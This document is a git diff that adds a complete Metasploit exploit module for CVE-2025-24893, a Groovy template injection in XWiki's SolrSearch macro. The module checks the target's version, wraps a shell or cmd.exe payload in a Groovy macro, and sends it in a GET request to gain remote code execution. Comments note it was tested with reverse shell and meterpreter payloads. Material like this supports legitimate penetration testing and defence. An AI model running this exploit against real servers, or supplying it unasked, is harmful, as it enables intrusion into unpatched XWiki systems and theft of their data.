|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + prepend Msf::Exploit::Remote::AutoCheck |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super( |
| 14 | + update_info( |
| 15 | + info, |
| 16 | + 'Name' => 'Remote Code Execution Vulnerability in XWiki Platform (CVE-2025-24893)', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a template injection vulnerability in the the XWiki Platform. |
| 19 | + XWiki includes a macro called SolrSearch (defined in Main.SolrSearchMacros) that enables full-text search through the embedded Solr engine. |
| 20 | + The vulnerability stems from the way this macro evaluates search parameters in Groovy, failing to sanitize or restrict malicious input. |
| 21 | +
|
| 22 | + This vulnerability affects XWiki Platform versions >= 5.3-milestone-2 and < 15.10.11, and versions >= 16.0.0-rc-1 and < 16.4.1. |
| 23 | + Successful exploitation may result in the remote code execution under the privileges |
| 24 | + of the web server, potentially exposing sensitive data or disrupting survey operations. |
| 25 | +
|
| 26 | + An attacker can execute arbitrary system commands in the context of the user running the web server. |
| 27 | + }, |
| 28 | + 'License' => MSF_LICENSE, |
| 29 | + 'Author' => [ |
| 30 | + 'Maksim Rogov', # Metasploit Module |
| 31 | + 'John Kwak' # Vulnerability Discovery |
| 32 | + ], |
| 33 | + 'References' => [ |
| 34 | + ['CVE', '2025-24893'], |
| 35 | + ['URL', 'https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rr6p-3pfg-562j'] |
| 36 | + ], |
| 37 | + 'Platform' => ['unix', 'linux', 'win'], |
| 38 | + 'Arch' => [ARCH_CMD], |
| 39 | + 'Targets' => [ |
| 40 | + [ |
| 41 | + 'Unix Command', |
| 42 | + { |
| 43 | + 'Platform' => ['unix', 'linux'], |
| 44 | + 'Arch' => ARCH_CMD, |
| 45 | + 'Type' => :unix_cmd, |
| 46 | + 'DefaultOptions' => { |
| 47 | + # On Debian 9 curl is not installed by default |
| 48 | + 'FETCH_COMMAND' => 'WGET' |
| 49 | + } |
| 50 | + # Tested with cmd/unix/reverse_bash |
| 51 | + # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp |
| 52 | + } |
| 53 | + ], |
| 54 | + [ |
| 55 | + 'Windows Command', |
| 56 | + { |
| 57 | + 'Platform' => ['win'], |
| 58 | + 'Arch' => ARCH_CMD, |
| 59 | + 'Type' => :win_cmd |
| 60 | + # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp |
| 61 | + } |
| 62 | + ], |
| 63 | + ], |
| 64 | + 'Payload' => { |
| 65 | + 'BadChars' => '\\' |
| 66 | + }, |
| 67 | + 'DefaultTarget' => 0, |
| 68 | + 'DisclosureDate' => '2025-02-20', |
| 69 | + 'Notes' => { |
| 70 | + 'Stability' => [CRASH_SAFE], |
| 71 | + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], |
| 72 | + 'Reliability' => [REPEATABLE_SESSION] |
| 73 | + } |
| 74 | + ) |
| 75 | + ) |
| 76 | + |
| 77 | + register_options( |
| 78 | + [ |
| 79 | + OptString.new('TARGETURI', [true, 'Path to XWiki', '/']), |
| 80 | + ] |
| 81 | + ) |
| 82 | + end |
| 83 | + |
| 84 | + def check |
| 85 | + print_status('Extracting version...') |
| 86 | + |
| 87 | + res = send_request_cgi( |
| 88 | + 'uri' => normalize_uri(target_uri.path, '/xwiki/bin/view/Main/'), |
| 89 | + 'method' => 'GET' |
| 90 | + ) |
| 91 | + return CheckCode::Unknown('No response from target') unless res&.code == 200 |
| 92 | + |
| 93 | + version_div = res.get_html_document.at('div[id="xwikiplatformversion"]') |
| 94 | + return CheckCode::Safe('Possibly not XWiki or incorrect path (version tag not found)') unless version_div |
| 95 | + |
| 96 | + version_match = version_div.text.match(/XWiki.*?(\d+\.\d+\.\d+)/) |
| 97 | + unless version_match |
| 98 | + print_error("#{peer} - Unable to extract version number") |
| 99 | + return CheckCode::Detected('XWiki detected, but version number missing or unrecognized') |
| 100 | + end |
| 101 | + |
| 102 | + version = Rex::Version.new(Regexp.last_match(1).to_s) |
| 103 | + print_status("Extracted version: #{version}") |
| 104 | + |
| 105 | + if version.between?(Rex::Version.new('5.3.0'), Rex::Version.new('15.10.10')) || |
| 106 | + version.between?(Rex::Version.new('16.0.0'), Rex::Version.new('16.4.0')) |
| 107 | + return CheckCode::Appears("Detected version #{version}, which is vulnerable") |
| 108 | + end |
| 109 | + |
| 110 | + return CheckCode::Safe("Version #{version} appears safe") |
| 111 | + end |
| 112 | + |
| 113 | + def build_cmd |
| 114 | + print_status('Building command for target...') |
| 115 | + |
| 116 | + if target['Type'] == :unix_cmd |
| 117 | + cmd_array = "'sh', '-c', '#{payload.encoded}'" |
| 118 | + else |
| 119 | + cmd_array = "'cmd.exe', '/b', '/q', '/c', '#{payload.encoded}'" |
| 120 | + end |
| 121 | + |
| 122 | + print_good('Command successfully built for target') |
| 123 | + |
| 124 | + return "{{async async=false}}{{groovy}}[#{cmd_array}].execute().text{{/groovy}}{{/async}}" |
| 125 | + end |
| 126 | + |
| 127 | + def send_payload(cmd) |
| 128 | + print_status('Uploading payload...') |
| 129 | + |
| 130 | + vars_get = { |
| 131 | + 'media' => 'rss', |
| 132 | + 'text' => cmd |
| 133 | + } |
| 134 | + |
| 135 | + send_request_cgi({ |
| 136 | + 'uri' => normalize_uri(target_uri.path, '/xwiki/bin/get/Main/SolrSearch'), |
| 137 | + 'method' => 'GET', |
| 138 | + 'vars_get' => vars_get |
| 139 | + }) |
| 140 | + end |
| 141 | + |
| 142 | + def exploit |
| 143 | + cmd = build_cmd |
| 144 | + send_payload(cmd) |
| 145 | + end |
| 146 | +end |
0 commit comments